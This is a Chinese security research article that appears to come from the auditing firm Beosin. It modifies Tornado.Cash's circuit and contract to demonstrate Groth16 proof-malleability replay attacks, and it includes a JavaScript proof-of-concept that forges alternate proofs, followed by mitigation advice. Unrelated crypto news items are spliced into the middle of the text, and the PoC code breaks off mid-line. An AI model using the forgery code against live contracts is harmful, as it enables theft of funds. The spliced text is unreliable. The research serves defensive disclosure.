NBS:深入探究 Tornado.Cash 揭示zkp項目的延展性攻擊

在上篇文章里，我們從原理的角度闡述了 Groth16 證明系統本身存在的延展性漏洞，本文中我們將以Tornado.Cash項目為例，魔改其部分電路和代碼，介紹延展性攻擊流程以及該項目中對應的防范措施，希望其他zkp項目方也引起注意。

其中，Tornado.Cash使用snarkjs庫進行開發，同樣基于如下開發流程，后續就直接進行介紹，不熟悉該庫的請閱讀本系列第一篇文章。（Beosin | 深度剖析零知識證明zk-SNARK漏洞：為什么零知識證明系統并非萬無一失？）

（圖源：https://docs.circom.io/）

User：使用該DApp進行混幣器隱私交易，包括存、取款。

Web page：DApp的前端網頁，網頁上包含一些用戶按鈕。

Relayer：為防止鏈上節點記錄發起隱私交易的ip地址等信息，該服務器會代替用戶重放交易，進一步增強隱私性。

Contract：包含一個代理合約Tornado.Cash Proxy，該代理合約會根據用戶存取款的金額選擇指定的Tornado池子進行后續的存取款操作。目前已存在4個池子，金額分別為：0.1、1、10、100。

User首先在Tornado.Cash的前端網頁上進行對應操作，觸發存款或取款交易，接著由Relayer將其交易請求轉發到鏈上的Tornado.Cash Proxy合約，并根據交易金額轉發到對應的Pool中，最終進行存款和取款等處理，具體的架構如下：

deposit：當用戶進行存款交易時，首先在前端網頁上選擇存入的代幣(BNB、ETH等)和對應的數額，為了更好的確保用戶的隱私性，只能存入四種金額數量；

圖源：<https://ipfs.io/ipns/tornadocash.eth/>

接著服務器會生成兩個31字節的隨機數nullifier、secret，將其拼接后進行pedersenHash運算即可得到commitment，將nullifier+secret加上前綴作為note返回給用戶，note如下圖：

隨后發起一筆deposit交易將commitment等數據發送到鏈上Tornado.Cash Proxy合約中，代理合約根據deposit的金額將數據轉發至對應的Pool中，最后Pool合約將commitment作為葉子結點插入到merkle tree，并將計算出的root存儲在Pool合約中。

withdraw：當用戶進行取款交易時，首先在前端網頁上輸入deposit時返回的note數據和收款地址；

接著服務器會在鏈下檢索出所有Tornadocash的deposit事件，提取其中的commitment構建鏈下的Merkle tree，并根據用戶給出的note數據(nullifier+secret)生成commitment并生成對應的Merkle Path和對應的root，并作為電路輸入得到零知識SNARK proof；最后，再發起一筆withdraw交易到鏈上的Tornado.Cash Proxy合約中，接著根據參數跳轉到對應的Pool合約中驗證證明，將錢打入用戶指定的接收者地址。

共和黨眾議院領袖麥卡錫呼吁美國決策者更深入地了解比特幣:4月13日消息，眾議院少數黨領袖凱文·麥卡錫呼吁美國的決策者更深入地了解比特幣。CNBC的Joe Kernen詢問麥卡錫有關美國財政部長耶倫和美聯儲主席鮑威爾是否應閱讀《比特幣標準》（一本由經濟學家Saifedean Ammous撰寫的暢銷書）時，麥卡錫回答：“要走向未來，他們不應該忽視比特幣……對于那些監管者和執政者來說，最好現在就開始理解比特幣對未來而言意味著什么，因為其他國家（尤其是中國）正在向前發展。”麥卡錫警告說，如果不采取行動，美國最終可能落后于中國。（U.today）[2021/4/13 20:15:34]

其中，Tornado.Cash 的withdraw核心其實就是在不暴露用戶持有的nullifier、secret的情況下，證明某個commitment存在于Merkle tree上，具體的默克爾樹結構如下：

針對第一篇文章Groth16 延展性攻擊原理，我們知道攻擊者使用相同的nullifier、secret其實可以生成多個不同的Proof，那么如果開發者沒有考慮到Proof重放造成的雙花攻擊，就會威脅到項目資金。在對Tornado.Cash進行魔改之前，本文先介紹一下Tornado.Cash最終處理withdraw的Pool中代碼：

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );    nullifierHashes[_nullifierHash] = true;    _processWithdraw(_recipient, _relayer, _fee, _refund);    emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);  }上圖中為了防止攻擊者使用同一個Proof進行雙花攻擊，而又不暴露nullifier、secret，Tornado.Cash在電路中增加了一個公共信號nullifierHash，它是由nullifier進行Pedersen哈希得到，可以作為參數傳到鏈上，Pool合約再使用該變量標識一個正確的Proof是否已經被使用過。但是如果項目方不采用修改電路的方式，而是直接以記錄Proof方式來防止雙花，畢竟這樣做可以減少電路約束，從而節省開銷，但是能否達到目的呢？

昆明兩會：將深入推動云南省區塊鏈中心建設:2月2日上午，昆明市第十四屆人民代表大會第六次會議在昆開幕，昆明市委副書記、代市長劉佳晨作政府工作報告。

他表示，昆明將深入推進云南省數字經濟開發區、云南省區塊鏈中心建設，力爭引進數字經濟創新企業100家，打造3—5個區塊鏈示范項目，新認定1—2家數字經濟園區。

加大5G基礎設施建設，新增5G基站1萬個，實現主城區5G信號全覆蓋，加快與VR/AR、醫療、旅游、智慧辦會、刷臉就行等場景結合，拓展5G典型應用。[2021/2/2 18:41:39]

對于此猜想，本文將刪除電路中新增的nullifierHash公共信號，并將合約校驗改為Proof校驗。由于Tornado.Cash在每次withdraw時都會獲取所有的deposit事件組建merkle tree再校驗生成的root值是否在最近生成的30個之內，整個過程太過麻煩，因此本文電路也將刪除merkleTree電路，僅僅留下withdraw部分的核心電路，具體電路如下：

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";// computes Pedersen(nullifier + secret)template CommitmentHasher() {    signal input nullifier;    signal input secret;    signal output commitment;    // signal output nullifierHash;   // delete    component commitmentHasher = Pedersen(496);    // component nullifierHasher = Pedersen(248);    component nullifierBits = Num2Bits(248);    component secretBits = Num2Bits(248);    nullifierBits.in <== nullifier;    secretBits.in <== secret;    for (var i = 0; i < 248; i++) {        // nullifierHasher.in[i] <== nullifierBits.out[i];  // delete        commitmentHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i + 248] <== secretBits.out[i];    }    commitment <== commitmentHasher.out;    // nullifierHash <== nullifierHasher.out;   // delete}// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits    signal output commitment;    signal input recipient; // not taking part in any computations    signal input relayer;  // not taking part in any computations    signal input fee;      // not taking part in any computations    signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints    // Squares are used to prevent optimizer from removing those constraints    signal recipientSquare;    signal feeSquare;    signal relayerSquare;    signal refundSquare;    recipientSquare <== recipient * recipient;    feeSquare <== fee * fee;    relayerSquare <== relayer * relayer;    refundSquare <== refund * refund;}component main = Withdraw(20);注意：我們在實驗過程中發現，TornadoCash 在 GitHub 中的最新版代碼里（https://github.com/tornadocash/tornado-core）， withdraw 電路缺乏輸出信號，需要人工修正才能正確運行。

聲音 | 立陶宛銀行：央行“父母控制”已過時 應更深入了解加密資產領域:在12月10日發布的有關中央銀行數字貨幣（CBDC）的分析中，立陶宛銀行表示，在加密資產方面，中央銀行的“父母控制”已經過時，因此不應阻止中央銀行進入該領域以了解它。銀行應參與數字資產領域，以獲取此快速發展資產類別的經驗。（Cointelegraph）[2019/12/11]

根據上述修改后的電路，使用snarkjs庫等按照本文開始給出的開發流程逐步進行，生成如下正常Proof，記為proof1：

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}2.2 實驗驗證2.2.1 驗證證明 — circom 生成的默認合約首先，我們使用circom 生成的默認合約進行驗證，該合約由于根本沒有記錄任何已經使用過的Proof相關信息，攻擊者可多次重放proof1造成雙花攻擊。在下列實驗中，可以針對同一電路的同一個input，無限次重放proof，均能通過驗證。

聲音 | 天津市委常委：區塊鏈等科技同經濟等深入協同，城市建設步入城市化3.0的時代:據環球網報道，以“科技賦能城市與區域治理創新”為主題的天津論壇2019于19日在天津拉開帷幕。天津市委常委、教委工委書記于立軍表示，智慧是城市的靈魂，是城市的精氣神，當前新一輪科技革命和產業變革不斷推進，特別是人工智能、區塊鏈和云科技同經濟、社會、文化、生態深入協同，城市建設步入了城市化3.0的時代。[2019/10/20]

下圖是使用proof1在默認合約中證明驗證通過的實驗截圖，包含上篇文章中使用的Proof參數A、B、C，以及最終的結果：

下圖是我們使用同樣的proof1多次調用verifyProof函數進行證明驗證的結果，實驗發現針對同一input，無論攻擊者使用多少次proof1進行驗證，都可以通過：

當然在我們在snarkjs原生的js代碼庫中進行測試，也并未對已經使用過的Proof進行防范，實驗結果如下：

針對circom 生成的默認合約中的重放漏洞，本文記錄已使用過的正確Proof(proof1)中的一個值，以達到防止使用驗證過的proof進行重放攻擊的目的，具體如下圖所示：

繼續使用proof1進行驗證，實驗發現在使用同樣Proof進行二次驗證時，交易revert報錯："The note has been already spent"，結果如下圖所示：

但是此時雖然達到了防止普通proof重放攻擊的目的，但是前文介紹過groth16算法存在延展性漏洞問題，這種防范措施仍可以被繞過。于是下圖我們構造PoC，按照第一篇文章中的算法針對同一input生成偽造的zk-SNARK證明，實驗發現仍然能通過驗證。生成偽造證明proof2的PoC代碼如下：

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');    // 2. 讀取string后轉化為int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);    // 生成逆元，生成的逆元必須在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))    // 讀取橢圓曲線G1、G2點    const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))    // 將生成的G1、G2點轉化為proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b。生成的偽造證明proof2，具體如下圖所示：

動態 | 人民日報：深入實施國家大數據戰略 應突破區塊鏈等十大技術瓶頸:9月14日訊，人民日報發文表示，深入實施國家大數據戰略，應集中力量協同攻關，突破大數據的十大技術瓶頸，包括數據供給層面的區塊鏈技術、數據交換技術，數據處理層面的大數據存儲管理技術、分布式計算技術、編程語言技術，數據分析層面的大數據基礎算法、機器學習、數據智能技術，大數據應用層面的大數據可視化、真偽判定技術。[2018/9/14]

再次使用該參數調用verifyProof函數進行證明驗證時，實驗發現同一input的情況下使用proof2驗證再次通過了，具體如下所示：

雖然偽造的證明proof2也只能再使用一次，但由于針對同一input的偽造的證明存在幾乎無限多個，因此可能造成合約資金被無限次被提取。

本文同樣使用circom庫的js代碼進行測試，實驗結果proof1和偽造的proof2都可以通過驗證：

經歷了那么多次失敗，難道沒有一種方式可以一勞永逸嗎？此處按照Tornado.Cash中通過校驗原始input是否已經被使用的做法，本文繼續修改合約代碼如下：

需要說明的是，為了展示groth16算法延展性攻擊的防范簡單措施，**本文采取直接記錄原始電路input的方式，但是這不符合零知識證明的隱私原則，電路輸入應當是保密的。**比如 Tornado.Cash中input都是private，需要重新新增一個public input標識一條Proof。本文由于電路中沒有新增標識，所以隱私性相對于Tornado.Cash來說較差，僅作為實驗Demo展示結果如下：

可以發現，上圖中使用同一input的Proof，只有第一次可以通過驗證proof1，隨后該proof1和偽造的proof2都不能通過校驗。

本文主要通過魔改TornadoCash的電路和使用開發者常用的Circom默認生成的合約驗證了重放漏洞的真實性和危害，并進一步驗證了使用在合約層面的普通措施可以防護重放漏洞，但無法防止groth16的延展性攻擊，對此，我們建議零知識證明的項目在項目開發時，應注意：

與傳統DApp使用地址等唯一數據生成節點數據的方式不同，zkp項目通常是使用組合隨機數的方式生成Merkle tree節點，需要注意業務邏輯是否允許插入相同數值節點的情況。因為相同的葉子結點數據可能導致部分用戶資金被鎖死在合約中，或者是同一葉子節點數據存在多個Merkle Proof混淆業務邏輯的情況。

zkp項目方通常使用mapping記錄已使用的過的Proof，防范雙花攻擊。需要注意使用Groth16開發時，由于存在延展性攻擊，因此記錄需使用節點原始數據，而不能僅僅使用Proof相關數據標識。

復雜電路可能存在電路不確定、欠約束等問題，合約驗證時條件不完整，實現邏輯存在漏洞等問題，我們強烈建議項目方在項目上線時，尋求對電路和合約都有一定研究的安全審計公司進行全面審計，盡可能的保證項目安全。

Beosin

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